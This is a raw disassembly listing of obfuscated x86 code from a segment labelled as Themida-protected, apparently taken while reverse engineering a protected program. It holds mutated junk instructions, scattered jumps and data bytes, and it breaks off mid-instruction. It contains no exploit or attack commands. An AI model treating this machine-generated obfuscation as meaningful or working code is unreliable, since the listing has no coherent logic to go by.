mov edi, [esp] add esp, 4 add eax, 720F01D5h push 5B65h jmp loc_5A3BE7 ; --------------------------------------------------------------------------- db 68h dd 7D146945h, 0FFDF6CE9h db 0FFh ; --------------------------------------------------------------------------- loc_59C1E9: ; CODE XREF: Themida_:0059B1C2j push 0 sub [esp], edx jmp loc_5A09A1 ; --------------------------------------------------------------------------- dw 0C581h dd 94E1459h, 5E5D5655h, 0F587DEF7h, 6807E5C1h, 4652h, 0BE243489h dd 14EF62EEh, 116E7E9h db 0 ; --------------------------------------------------------------------------- loc_59C219: ; CODE XREF: Themida_:005A38C7j push dword ptr [esp] pop ebx add esp, 4 or eax, eax jz loc_5A5B74 push dword ptr [edi+1Ch] jmp loc_5A4E8A ; --------------------------------------------------------------------------- loc_59C233: ; CODE XREF: Themida_:0059FCE5j sub eax, edx pop edx sub eax, 60503D8Ah jmp loc_5A708D ; --------------------------------------------------------------------------- dd 24048B66h, 535468h, 241C8900h, 62CD68h, 24248900h, 4240483h dd 3C5C685Bh, 4890000h, 21386824h, 48B307Fh, 4C48124h dd 0C1000000h, 0BE5606E8h, 0C1FC80h, 0E2E9F031h, 830000EBh dd 1C8904ECh, 7A9FBB24h, 28E92174h db 0CDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59C28F: ; CODE XREF: Themida_:0059A068j sub esp, 4 jmp loc_5ABE71 ; --------------------------------------------------------------------------- dw 489h dd 0CFBB5324h, 0B85D2462h, 5D2462CBh, 0FFE80AE9h db 0FFh ; --------------------------------------------------------------------------- loc_59C2AD: ; CODE XREF: Themida_:005ADA6Aj sub bl, cl add bl, 41h mov ecx, [esp] jmp loc_5AABA0 ; --------------------------------------------------------------------------- loc_59C2BA: ; CODE XREF: Themida_:005A018Aj mov eax, 619C0540h sub eax, ebp pop ebp add edi, eax pop eax sub esp, 4 mov [esp], eax push ebx mov ebx, 417B38E3h sub ebx, 0D0B3F01Eh push ebx pop eax pop ebx xor edi, eax pop eax add esi, edi mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push ebp mov ebp, 4 sub esi, ebp mov ebp, [esp] push edi push esp pop edi add edi, 4 add edi, 4 jmp loc_5A4092 ; --------------------------------------------------------------------------- dw 0E8C1h dd 46673507h, 1D3510CFh, 2506BE76h, 246B2551h, 34523540h dd 0FE95BBBh db 0FDh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59C32B: ; CODE XREF: Themida_:005A85C7j and eax, edi mov edi, [esp] push edx push esp pop edx push ebx push edi mov edi, 25DF6B6Ch neg edi jno loc_5AA94E xor edi, 45810BF3h mov al, 59h push edi loc_59C34C: ; CODE XREF: Themida_:0059AA33j mov ah, 6Fh jmp loc_59DD88 ; --------------------------------------------------------------------------- loc_59C353: ; CODE XREF: Themida_:005A5128j push eax mov eax, 69103A94h xor eax, 3CE4733Bh not eax jmp loc_59F124 ; --------------------------------------------------------------------------- db 87h, 3Ch, 24h dd 5DE8015Ch, 0E9240433h, 567Bh, 4C481h, 0B0E90000h db 2Fh, 1, 0 ; --------------------------------------------------------------------------- loc_59C37F: ; CODE XREF: Themida_:005AD9B8j add eax, [edx] pop edx mov ecx, [esp] push edx jmp loc_5A1DE1 ; --------------------------------------------------------------------------- a11ssuv db '1Ε1θιγ’',0 align 4 loc_59C394: ; CODE XREF: Themida_:0059F140j ; Themida_:005A3371j pop ecx mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ecx push 6D7Ah mov [esp], ebx sub esp, 4 mov [esp], ecx mov cl, 24h push edx mov dl, cl mov bh, dl jmp loc_59ADA0 ; --------------------------------------------------------------------------- db 87h dd 815C240Ch, 4C3h, 0F0E95200h db 0CDh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59C3D3: ; CODE XREF: Themida_:0059D346j xchg edi, [esp] pop esp cmp ecx, eax pushf jmp loc_5AEA03 ; --------------------------------------------------------------------------- loc_59C3DF: ; CODE XREF: Themida_:loc_59ED71j ; Themida_:005A2A03j push eax push edx push 611111CAh mov edx, [esp] add esp, 4 or edx, 5CEC3CBCh jmp loc_59CA20 ; --------------------------------------------------------------------------- loc_59C3FA: ; CODE XREF: Themida_:0059A526j push ebp push ebx mov ebx, 1E6372C5h mov ebp, ebx pop ebx mov esi, ebp pop ebp shr esi, 8 jnp loc_5AE220 shl esi, 2 jns loc_5990CD push 1768h mov [esp], ecx jmp loc_5A8507 ; --------------------------------------------------------------------------- loc_59C426: ; CODE XREF: Themida_:005A0D6Aj add eax, edi mov edi, [esp] add esp, 4 sub eax, ebx sub eax, 37893787h sub eax, 2E91261Eh push 115Fh jmp loc_5AA8C2 ; --------------------------------------------------------------------------- loc_59C444: ; CODE XREF: Themida_:005AADF9j mov edx, 4CD839F2h xor edx, 238827A5h neg edx or edx, 70E00F22h xor edx, 63B7052Fh shr edx, 4 xor edx, 0F321B7Eh jmp loc_59BC68 ; --------------------------------------------------------------------------- loc_59C46B: ; CODE XREF: Themida_:005A2034j jnp loc_5A17C7 xor cl, 5Ah jnp loc_5A1356 and al, 61h push edx mov edx, 46AA5C31h or esi, edx pop edx add esi, 10050191h mov edx, esi pop esi push ebx jmp loc_5A54F0 ; --------------------------------------------------------------------------- loc_59C494: ; CODE XREF: Themida_:0059FAB6j pop ebp pop ecx neg ebp jns loc_5AD718 jmp loc_59F188 ; --------------------------------------------------------------------------- loc_59C4A3: ; CODE XREF: Themida_:005A0B90j sub eax, 23652598h jmp loc_59FA02 ; --------------------------------------------------------------------------- loc_59C4AD: ; CODE XREF: Themida_:005A2179j push 0AEE0C1Eh pop ebp shl ebp, 6 jp loc_59EE62 shr ebp, 4 jmp loc_5A6595 ; --------------------------------------------------------------------------- loc_59C4C4: ; CODE XREF: Themida_:005AD77Fj mov eax, esp add eax, 4 jmp loc_59850A ; --------------------------------------------------------------------------- loc_59C4D0: ; CODE XREF: Themida_:005A421Ej xchg ebx, [esp] pop esp push esi mov esi, 1BB25C56h or esi, 7EBE3870h shl esi, 2 jmp loc_5A501B ; --------------------------------------------------------------------------- dd 0FE6855h, 34FF0000h, 0D845E924h, 0EF81FFFFh, 51D351B1h dd 5CE9F801h, 81000050h, 0D217C8E5h, 448C0F18h, 81000038h dd 2A60AFF5h, 0E9EA893Fh, 0FFFFDEC5h ; --------------------------------------------------------------------------- loc_59C51C: ; CODE XREF: Themida_:00599328j dec eax add eax, 422836E8h jmp loc_5AB318 ; --------------------------------------------------------------------------- loc_59C527: ; CODE XREF: Themida_:0059F07Cj pop edi sub eax, 41BB43E2h jmp loc_5ACF9B ; --------------------------------------------------------------------------- aZ4IUs@ db '4$\<$UιΙ@',0 db 0 ; --------------------------------------------------------------------------- loc_59C53F: ; CODE XREF: Themida_:00599247j xor ebp, 5D1DE28Ch xor esi, ebp pop ebp and esi, 3B1914BBh push esi not dword ptr [esp] jmp loc_5AECC3 ; --------------------------------------------------------------------------- db 81h dd 0E30395C3h, 0F800F04h, 81000030h, 0C39179EBh, 1BB951C5h dd 8123C036h, 657C7EE1h, 0D9F2E91Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59C57A: ; CODE XREF: Themida_:005992A6j pop eax pop edx pop ecx push ebp push 4 pop ebp jmp loc_5A1362 ; --------------------------------------------------------------------------- loc_59C589: ; CODE XREF: Themida_:0059DFFFj push ecx mov ecx, 3AB0DC03h xor ebp, ecx jmp loc_5A30BC ; --------------------------------------------------------------------------- loc_59C596: ; CODE XREF: Themida_:005AA8CFj pop edx push edi mov edi, 6FD54224h sub edi, 0FFFFFFFFh jmp loc_5AF10D ; --------------------------------------------------------------------------- loc_59C5A8: ; CODE XREF: Themida_:005A6863j not ebp xchg ebp, [esp] pop edx xor edx, 9BA93A1Eh add eax, edx mov edx, [esp] add esp, 4 add eax, ebx push ebx mov ebx, 0D1578F6h shr ebx, 3 add ebx, 352B202Fh jmp loc_59E2DA ; --------------------------------------------------------------------------- db 0ADh, 53h, 0E9h dd 114ACh ; --------------------------------------------------------------------------- loc_59C5DC: ; CODE XREF: Themida_:005AAFC9j mov [esp], edx mov edx, esp add edx, 4 push edi jmp loc_59FD53 ; --------------------------------------------------------------------------- loc_59C5ED: ; CODE XREF: Themida_:005A5605j push ecx push 2E4B1AA9h pop ecx add ecx, 0D1B4E55Bh mov esi, ecx pop ecx jmp loc_5AE10E ; --------------------------------------------------------------------------- loc_59C602: ; CODE XREF: Themida_:005AF225j pop dword ptr [esp] pop esp jmp loc_59B7D2 ; --------------------------------------------------------------------------- loc_59C60B: ; CODE XREF: Themida_:0059B9E1j add esp, 4 push 62A2h jmp loc_59B8FA ; --------------------------------------------------------------------------- dd 4C581h, 0C5810000h, 4, 5C242C87h, 8B243487h, 3C892424h dd 2434FF24h, 5724148Bh, 54E9E789h, 66000016h, 68240C8Bh dd 297Eh, 83240489h, 248904ECh, 24048324h, 24048B04h, 4C481h dd 0BA520000h, 4, 0E95AD001h, 5F17h, 0D9E9AD66h db 37h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59C673: ; CODE XREF: Themida_:005AB558j mov ebx, [esp] add esp, 4 shr cl, 4 jmp loc_5ABD7D ; --------------------------------------------------------------------------- loc_59C681: ; CODE XREF: Themida_:0059D5E2j mov [esp], edi mov edi, esp jmp loc_5A35F5 ; --------------------------------------------------------------------------- loc_59C68B: ; CODE XREF: Themida_:005A0C86j pop ecx inc cl jp loc_5AD2A1 or cl, 0D6h jnb loc_599533 jns loc_5A279B loc_59C6A3: ; CODE XREF: Themida_:005A202Bj mov ecx, 2F682038h push edx mov edx, 3AC17AF8h shr edx, 7 inc edx shr edx, 4 add edx, 5D267E92h xor edx, 593AF05Eh sub ecx, edx pop edx jmp loc_5AA52F ; --------------------------------------------------------------------------- db 2 dup(46h), 0C1h dd 0B85006EEh, 562E3876h, 0B2E9335h, 0D0F74053h, 0E9E83148h dd 0FFFFFCA7h, 24ED815Ch, 103F01Dh, 24C581C5h, 5803F01Dh dd 261968h, 243C8900h, 6CD36851h, 0F7596F97h, 54E981D1h dd 0F1FB078h, 0BAC887h, 81BB5300h, 293A02A8h, 3FE95BD9h dd 570000CAh ; --------------------------------------------------------------------------- loc_59C720: ; CODE XREF: Themida_:005A5BBCj xor eax, [esp] mov esp, [esp] push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_5A34FE ; --------------------------------------------------------------------------- dd 4244401h, 345168h, 24148900h, 10854E9h, 0F3BFE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59C752: ; CODE XREF: Themida_:0059D02Cj mov [esp], ebx push edx mov edx, esp jmp loc_5A281D ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 8104C483h, 557357F1h, 0E9CF890Bh, 12A32h ; --------------------------------------------------------------------------- loc_59C770: ; CODE XREF: Themida_:0059B0AEj mov edi, esp add edi, 4 add edi, 4 jmp loc_59B988 ; --------------------------------------------------------------------------- loc_59C783: ; CODE XREF: Themida_:0059D142j mov ebx, [esp] add esp, 4 shr ecx, 1 and ecx, 6116160Dh add ecx, 0FFFFFFFFh jmp loc_5ADF19 ; --------------------------------------------------------------------------- dd 100AEE9h db 0 ; --------------------------------------------------------------------------- loc_59C7A1: ; CODE XREF: Themida_:005A91BEj pop dword ptr [esp] jmp loc_5A1485 ; --------------------------------------------------------------------------- loc_59C7A9: ; CODE XREF: Themida_:005A9568j mov [esp], ax jmp loc_59838C ; --------------------------------------------------------------------------- loc_59C7B2: ; CODE XREF: Themida_:005AA505j push eax jmp loc_5AB292 ; --------------------------------------------------------------------------- loc_59C7B8: ; CODE XREF: Themida_:005ABAA3j add ecx, 4 push ebx mov ebx, 2F50D7Ch jmp loc_5AE6F7 ; --------------------------------------------------------------------------- loc_59C7C9: ; CODE XREF: Themida_:005A0CBCj push ebp push ebx push 342143DDh pop ebx neg ebx and ebx, 27673683h xor ebx, 3463407h jmp loc_5AD01D ; --------------------------------------------------------------------------- loc_59C7E4: ; CODE XREF: Themida_:005AF3CDj push 6C14h mov [esp], ebp mov ebp, 6D964C91h jmp loc_59DA6E ; --------------------------------------------------------------------------- dw 8966h dd 6468241Ch, 89000072h, 0BD66242Ch, 87660D54h, 0D2F766D5h dd 66D58766h, 1B850F4Dh, 66000027h, 0EC03E945h, 5B660000h db 0B2h, 0B6h, 5Dh ; --------------------------------------------------------------------------- loc_59C823: ; CODE XREF: Themida_:00598E15j push esi jmp loc_5A457D ; --------------------------------------------------------------------------- db 29h, 0C7h, 58h dd 8105EFC1h, 0D4109BCFh, 0D7EF8165h, 165DF30h, 243C8BFEh dd 4C481h, 8C680000h, 0E9000008h, 0FC5Ch ; --------------------------------------------------------------------------- loc_59C850: ; CODE XREF: Themida_:0059B4B5j mov [esp], ecx push esp mov ecx, [esp] add esp, 4 add ecx, 4 add ecx, 4 jmp loc_5A2262 ; --------------------------------------------------------------------------- aIVA3l db ',$VΎ 3L',0 aUBues db 'Αξ',7,'ξe',0 align 10h dd 348BF589h, 4C48324h, 0E968E950h, 34FF0000h, 15BCE924h dd 0E9810001h, 812459A8h, 3559C831h, 5C2603B3h, 69658A0Fh dd 37050000h, 0F29788Eh, 0D78B8Eh, 48B5400h, 0E7895724h dd 4C781h, 0C7830000h, 243C8704h, 4689685Ch, 67E90000h db 96h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59C8D3: ; CODE XREF: Themida_:0059DB76j movzx cx, al push cx pushf jmp loc_59838C ; --------------------------------------------------------------------------- db 66h dd 665EB768h, 0E9242489h, 0FFFFD95Ch, 0B8240489h, 2, 0CBE9C301h db 0A9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59C8FB: ; CODE XREF: Themida_:005AE475j not esi not esi jmp loc_59E328 ; --------------------------------------------------------------------------- loc_59C904: ; CODE XREF: Themida_:005AAC04j add ecx, 4 sub ecx, 4 jmp loc_5A3F79 ; --------------------------------------------------------------------------- loc_59C912: ; CODE XREF: Themida_:005AEC42j sub edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] mov [esp], ebx push esp mov ebx, [esp] push esi jmp loc_59D77D ; --------------------------------------------------------------------------- loc_59C931: ; CODE XREF: Themida_:0059EC1Cj shr ecx, 4 js loc_59860C jmp loc_5A1AF9 ; --------------------------------------------------------------------------- loc_59C93F: ; CODE XREF: Themida_:loc_599152j jmp loc_5A1269 ; --------------------------------------------------------------------------- loc_59C944: ; CODE XREF: Themida_:005A2C23j pop dword ptr [esp] jmp loc_5AD361 ; --------------------------------------------------------------------------- loc_59C94C: ; CODE XREF: Themida_:0059EB1Dj push 1513h push ecx mov ecx, esp jmp loc_59FEBF ; --------------------------------------------------------------------------- loc_59C959: ; CODE XREF: Themida_:005998F0j push ebx push ecx mov ecx, 19EE1E5Ch mov ebx, 5E7471F6h sub ebx, ecx jmp loc_5A7AE5 ; --------------------------------------------------------------------------- loc_59C96C: ; CODE XREF: Themida_:005A9E98j mov ebp, [esp] jmp loc_59CCF8 ; --------------------------------------------------------------------------- loc_59C974: ; CODE XREF: Themida_:005A8AD3j add bl, al sub bl, 0F7h push eax mov al, 58h xor al, 75h jmp loc_5A89EA ; --------------------------------------------------------------------------- loc_59C983: ; CODE XREF: Themida_:005A84CDj sub ebp, 2 push 1BA9h mov [esp], ebp push dword ptr [esp+4] jmp loc_598B42 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 0B891E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59C9A2: ; CODE XREF: Themida_:0059AE62j jo loc_5A746E shl edi, 2 add edi, 1F0A2591h jno loc_5A67A0 sub edi, 107FB628h push eax mov eax, edi jmp loc_5A6A5F ; --------------------------------------------------------------------------- loc_59C9C5: ; CODE XREF: Themida_:005A5E03j xor edx, 5DF51856h shr edx, 5 jmp loc_5A7D15 ; --------------------------------------------------------------------------- db 5Bh dd 4EC81h, 0C890000h, 0A70CE924h, 0F3810000h, 6FC404A0h dd 2006E9h, 1DEBD00h, 43E95C55h db 18h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59C9F7: ; CODE XREF: Themida_:005A7F71j xor ecx, ebx mov ebx, [esp] add esp, 4 xchg ebx, ecx dec ebx xchg ebx, ecx jmp loc_5AADF8 ; --------------------------------------------------------------------------- loc_59CA0C: ; CODE XREF: Themida_:0059F7BFj ; Themida_:005A15B5j rol word ptr [esp], cl pushf jmp loc_5AC96C ; --------------------------------------------------------------------------- loc_59CA16: ; CODE XREF: Themida_:0059FC71j add esp, 4 loc_59CA19: ; CODE XREF: Themida_:005A083Cj ; Themida_:005AF378j push ebp push esp jmp loc_5AD40B ; --------------------------------------------------------------------------- loc_59CA20: ; CODE XREF: Themida_:0059C3F5j jp loc_5A80C4 sub edx, 1C026C0Fh jmp loc_5A83A4 ; --------------------------------------------------------------------------- loc_59CA31: ; CODE XREF: Themida_:005A87FEj xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] and [esp], ax pushf jmp loc_5A0855 ; --------------------------------------------------------------------------- loc_59CA47: ; CODE XREF: Themida_:0059F8FCj mov edx, 0B275D86h shr edx, 7 add edx, 4FC77B85h js loc_59CADD or edx, 278A2ECBh jz loc_5AE220 shr edx, 2 jns loc_5AA622 push esi jmp loc_5A6B85 ; --------------------------------------------------------------------------- dw 0BF57h dd 4 db 54h ; --------------------------------------------------------------------------- loc_59CA7D: ; CODE XREF: Themida_:005A2E8Ej add edx, ebp pop ebp xchg edx, [esp] pop esp push ecx mov ch, 38h add ch, 39h push ebx mov bh, 0D7h not bh xor bh, 4Ah or bh, 0E3h add bh, 57h jmp loc_5A8F30 ; --------------------------------------------------------------------------- loc_59CA9D: ; CODE XREF: Themida_:005A7FDBj sub eax, 90D0F360h mov edi, eax pop eax xor edi, 4D453918h jmp loc_5A23F5 ; --------------------------------------------------------------------------- dd 0FFBFD8E9h db 0FFh ; --------------------------------------------------------------------------- loc_59CAB5: ; CODE XREF: Themida_:0059995Aj mov ecx, esp push eax push edx jmp loc_5A8E67 ; --------------------------------------------------------------------------- loc_59CABE: ; CODE XREF: Themida_:005A8943j mov ebp, 3103048Ch dec ebp xor ebp, 6759285Fh sub eax, ebp jmp loc_5A722F ; --------------------------------------------------------------------------- loc_59CAD1: ; CODE XREF: Themida_:0059A6D5j ; Themida_:005A3399j mov esp, [esp] mov [esp], ax jmp loc_5A7851 ; --------------------------------------------------------------------------- loc_59CADD: ; CODE XREF: Themida_:0059994Dj ; Themida_:0059CA55j or edx, 278A2ECBh jz loc_59C133 shr edx, 2 jns loc_5A7794 jmp loc_59B079 ; --------------------------------------------------------------------------- db 8Bh dd 0C483243Ch, 5A3A2C04h ; --------------------------------------------------------------------------- loc_59CB00: ; CODE XREF: Themida_:005A48FEj jmp loc_59838C ; --------------------------------------------------------------------------- loc_59CB05: ; CODE XREF: Themida_:005AA67Fj add ecx, edi jmp loc_59B6C9 ; --------------------------------------------------------------------------- loc_59CB0C: ; CODE XREF: Themida_:005A0816j mov ebx, esp add ebx, 4 jmp loc_59F145 ; --------------------------------------------------------------------------- db 0Fh, 86h, 0F1h dd 8100011Ah, 4ECh, 243C8900h, 0E7DB951h, 0BA520CA2h, 56F55BA1h dd 0A4A4E9h db 0 ; --------------------------------------------------------------------------- loc_59CB39: ; CODE XREF: Themida_:005ACF6Ej push eax not dword ptr [esp] jmp loc_5A43C8 ; --------------------------------------------------------------------------- loc_59CB42: ; CODE XREF: Themida_:005AD8A6j neg dword ptr [esp] pop ebp push 0 sub [esp], ebp jmp loc_5A7C0E ; --------------------------------------------------------------------------- loc_59CB53: ; CODE XREF: Themida_:00599DEBj xor dh, 0F5h add bl, 97h add bl, dh sub bl, 97h mov edx, [esp] jmp loc_5A724A ; --------------------------------------------------------------------------- loc_59CB66: ; CODE XREF: Themida_:0059B39Ej mov dl, 2 not dl jmp loc_5A1657 ; --------------------------------------------------------------------------- loc_59CB6F: ; CODE XREF: Themida_:005A77CCj mov dl, 2Ah sub al, 2Dh push edx mov dh, 6Fh or dh, 6Eh jmp loc_5A8F6B ; --------------------------------------------------------------------------- dw 815Ah dd 4C2h, 0B0C0E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59CB8A: ; CODE XREF: Themida_:005A8D6Bj pop eax push 7079h mov [esp], edx push 4 mov edx, [esp] push 4088h mov [esp], edi mov edi, esp add edi, 4 jmp loc_59ED48 ; --------------------------------------------------------------------------- loc_59CBB0: ; CODE XREF: Themida_:005AB3C2j xor edx, 0A7E79CDEh mov ecx, edx push dword ptr [esp] jmp loc_5A1E26 ; --------------------------------------------------------------------------- loc_59CBC0: ; CODE XREF: Themida_:005A8502j not dword ptr [esp] mov ecx, [esp] add esp, 4 sub ecx, 1 push ebx jmp loc_5A2733 ; --------------------------------------------------------------------------- loc_59CBD2: ; CODE XREF: Themida_:005A603Bj add ecx, ebp pop ebp jmp loc_59A1D6 ; --------------------------------------------------------------------------- dw 0F796h dd 0E99696D0h, 13CCh ; --------------------------------------------------------------------------- loc_59CBE4: ; CODE XREF: Themida_:005A7D6Ej mov dh, 8Fh add dh, 82h neg dh add dh, 50h shr dh, 1 jmp loc_5AF051 ; --------------------------------------------------------------------------- loc_59CBF5: ; CODE XREF: Themida_:005A68AAj not edx not edx or edx, 2BB24DFEh jle loc_5AD8AB sub edx, 3C8B7D1Eh sub edx, 76DD20F7h xor edx, 0BB5FDE92h xor edx, 4A40084Ah sub edx, 0FFFFFFFFh add edx, 2E252584h push ebp mov ebp, 62732856h jmp loc_598D58 ; --------------------------------------------------------------------------- loc_59CC34: ; CODE XREF: Themida_:0059A5E3j xor cl, bh pop ebx add cl, dl jmp loc_5A3441 ; --------------------------------------------------------------------------- loc_59CC3E: ; CODE XREF: Themida_:005A5BD4j mov ebp, 3C3D2351h sub ebp, 62332895h jmp loc_59B1A6 ; --------------------------------------------------------------------------- loc_59CC4E: ; CODE XREF: Themida_:0059B9D8j xor esi, edx jmp loc_5A820C ; --------------------------------------------------------------------------- loc_59CC55: ; CODE XREF: Themida_:005AF528j inc bh jmp loc_598E5C ; --------------------------------------------------------------------------- dd 0EAC1D2F7h, 1BFDE907h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59CC66: ; CODE XREF: Themida_:005A3FACj pop esi push eax mov eax, esp push esi mov esi, 4 add eax, esi pop esi add eax, 4 push eax push dword ptr [esp+4] pop eax jmp loc_5A795E ; --------------------------------------------------------------------------- loc_59CC81: ; CODE XREF: Themida_:loc_5A0E54j ; Themida_:005A6B9Ej add ebp, 1837740Eh jl loc_598B26 push esi mov esi, 74F60100h add esi, 9422A279h sub ebp, esi mov esi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_599261 ; --------------------------------------------------------------------------- db 81h, 2Ch, 24h dd 0AB11F51h, 51C18159h, 8B0AB11Fh, 0C4812414h, 4, 76FBBF57h dd 0B2055D5Eh, 15C242Dh, 2DB22DF8h, 3C8B5C24h, 4C48324h dd 6FFAE9h, 0FF565D00h, 5E042474h, 5C24048Fh, 0E9240489h dd 0F963h ; --------------------------------------------------------------------------- loc_59CCF8: ; CODE XREF: Themida_:0059C96Fj add esp, 4 add eax, 77B11052h add eax, 215353F5h add eax, ebx sub eax, 215353F5h sub eax, 77B11052h push ebx push eax mov eax, 4AED6C9Ch or eax, 4A0F54DBh jns loc_5A06F0 shr eax, 8 neg eax jz loc_5ABBFD add dword ptr [esp], 4 pop ebx add ebx, 4 sub ebx, 4 push ebx push dword ptr [esp+4] mov ebx, [esp] jmp loc_5AB914 ; --------------------------------------------------------------------------- loc_59CD4F: ; CODE XREF: Themida_:005A516Bj add edx, ebx mov ebx, [esp] push ebx mov ebx, esp push edx mov edx, 4 add ebx, 58FD4373h add ebx, edx sub ebx, 58FD4373h pop edx add ebx, 4 xchg ebx, [esp] pop esp jmp loc_59838C ; --------------------------------------------------------------------------- dd 0E95AD788h, 118D3h, 4C2835Fh, 31241433h, 14332414h dd 24248B24h, 2404A30Fh, 0B5F2E99Ch, 48BFFFFh, 4C48324h dd 7D4468h, 240C8900h, 0FFC86FE9h db 0FFh ; --------------------------------------------------------------------------- loc_59CDAD: ; CODE XREF: Themida_:005A3997j mov ebp, 3F9B771Ch push ebp sub dword ptr [esp], 1A587E3Bh jmp loc_5A5A84 ; --------------------------------------------------------------------------- loc_59CDBF: ; CODE XREF: Themida_:00598E0Fj ; Themida_:005A3B5Ej jmp loc_5987E0 ; --------------------------------------------------------------------------- loc_59CDC4: ; CODE XREF: Themida_:005A938Ej push bx mov bl, 0A8h add ch, bl pop bx sub esp, 4 mov [esp], ebx push edx mov dl, 95h push eax mov ah, dl mov bl, ah pop eax pop edx add bl, 0B8h jmp loc_59E447 ; --------------------------------------------------------------------------- loc_59CDE4: ; CODE XREF: Themida_:005A19EAj mov ebp, [esp] add esp, 4 jmp loc_5A0C1D ; --------------------------------------------------------------------------- loc_59CDF2: ; CODE XREF: Themida_:005A86F1j pop esi xor edx, ebx mov ebx, [esp] push 7D16h mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp loc_59CE12: ; CODE XREF: Themida_:005A1A87j ; Themida_:005AB382j push dword ptr [edi+24h] jmp loc_59EED2 ; --------------------------------------------------------------------------- loc_59CE1A: ; CODE XREF: Themida_:0059AA75j ; Themida_:005A8966j mov esp, [esp] jmp loc_5A18EA ; --------------------------------------------------------------------------- loc_59CE22: ; CODE XREF: Themida_:005AA2EAj pop esi add esp, 4 add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] pop esi jmp loc_59E031 ; --------------------------------------------------------------------------- loc_59CE3D: ; CODE XREF: Themida_:0059EBA3j add edx, 62E35A91h sub ebx, edx mov edx, [esp] add esp, 4 push 227h jmp loc_5A20FA ; --------------------------------------------------------------------------- loc_59CE55: ; CODE XREF: Themida_:loc_59F86Bj neg al add al, 90h mov dl, al pop eax jmp loc_5A04F1 ; --------------------------------------------------------------------------- loc_59CE61: ; CODE XREF: Themida_:005A3009j sub ebp, 32AB1ECCh inc ebp push eax jmp loc_5A7A23 ; --------------------------------------------------------------------------- loc_59CE6E: ; CODE XREF: Themida_:00599DBEj shr edx, 4 jmp loc_5AD3ED ; --------------------------------------------------------------------------- loc_59CE76: ; CODE XREF: Themida_:0059D6B6j mov eax, [esp] add esp, 4 push ebx mov ebx, esp push ebp mov ebp, 687434B4h dec ebp xor ebp, 5DEF1F98h shr ebp, 4 xor ebp, 3AB546E5h shl ebp, 3 push edx mov edx, 67D95AE4h inc edx shr edx, 3 jmp loc_5A0537 ; --------------------------------------------------------------------------- loc_59CEA7: ; CODE XREF: Themida_:005AC0B9j xchg edx, [esp] pop esp cmp cl, al pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_59CEB3: ; CODE XREF: Themida_:005A7411j push esi push 573Eh mov [esp], edx jmp loc_5AC5D7 ; --------------------------------------------------------------------------- loc_59CEC1: ; CODE XREF: Themida_:005A042Ej pop dword ptr [esp] mov esp, [esp] jmp loc_5A9B74 ; --------------------------------------------------------------------------- dd offset dword_5EEC68 dd 24048900h, 1079BE9h db 0 ; --------------------------------------------------------------------------- loc_59CED9: ; CODE XREF: Themida_:0059AD53j ; Themida_:005A97FAj sub ebx, eax push ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_5A0C03 ; --------------------------------------------------------------------------- db 28h dd 2434FFEFh, 0FFB9F8E9h db 0FFh ; --------------------------------------------------------------------------- loc_59CEF9: ; CODE XREF: Themida_:005ABA04j pop ecx jmp loc_5A3531 ; --------------------------------------------------------------------------- loc_59CEFF: ; CODE XREF: Themida_:005AEE76j pop edx add cl, 43h add cl, 6 jmp loc_5A0C28 ; --------------------------------------------------------------------------- loc_59CF0B: ; CODE XREF: Themida_:005ABBEDj jmp loc_5ADC74 ; --------------------------------------------------------------------------- loc_59CF10: ; CODE XREF: Themida_:005AD075j add edi, 49F00616h pop ebx sub esp, 4 jmp loc_5AE057 ; --------------------------------------------------------------------------- loc_59CF22: ; CODE XREF: Themida_:005A1B10j xchg edi, [esp] mov esp, [esp] mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 push edi push esi mov esi, 1B590C76h mov edi, 1B590C7Ah sub edi, esi push dword ptr [esp] pop esi push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp sub eax, edi push dword ptr [esp] pop edi add esp, 4 jmp loc_5AF21F ; --------------------------------------------------------------------------- loc_59CF68: ; CODE XREF: Themida_:005A9A97j push edi mov edi, esp jmp loc_5AAE24 ; --------------------------------------------------------------------------- dd 4EC83ADh, 0BB241C89h, 56554945h, 4524E9h db 0 ; --------------------------------------------------------------------------- loc_59CF81: ; CODE XREF: Themida_:005AE165j add ebx, 583F9CBFh jmp loc_5AB2BA ; --------------------------------------------------------------------------- dd 4EB81h, 1C870000h, 0F26FE924h, 2C590000h, 0F5B252C0h dd 2C5AD028h, 4D00009h, 53F50409h, 0D800C0B3h, 83241C8Bh dd 8B6604C4h, 0C4812414h, 2, 0A9B75366h, 0C780C7FEh, 0F8DBE93Bh dd 77FF0000h, 59669D1Ch, 2414D366h, 0B3AEE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59CFDE: ; CODE XREF: Themida_:005AC7F6j add esi, edi sub esi, 25AE10B4h pop edi xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_5A1E3C ; --------------------------------------------------------------------------- dd 0E9DFF758h, 0FFFFCEDBh ; --------------------------------------------------------------------------- loc_59D000: ; CODE XREF: Themida_:0059F90Aj sub ebx, ebp pop ebp jmp loc_5A38BF ; --------------------------------------------------------------------------- loc_59D008: ; CODE XREF: Themida_:005A16E4j mov ebp, 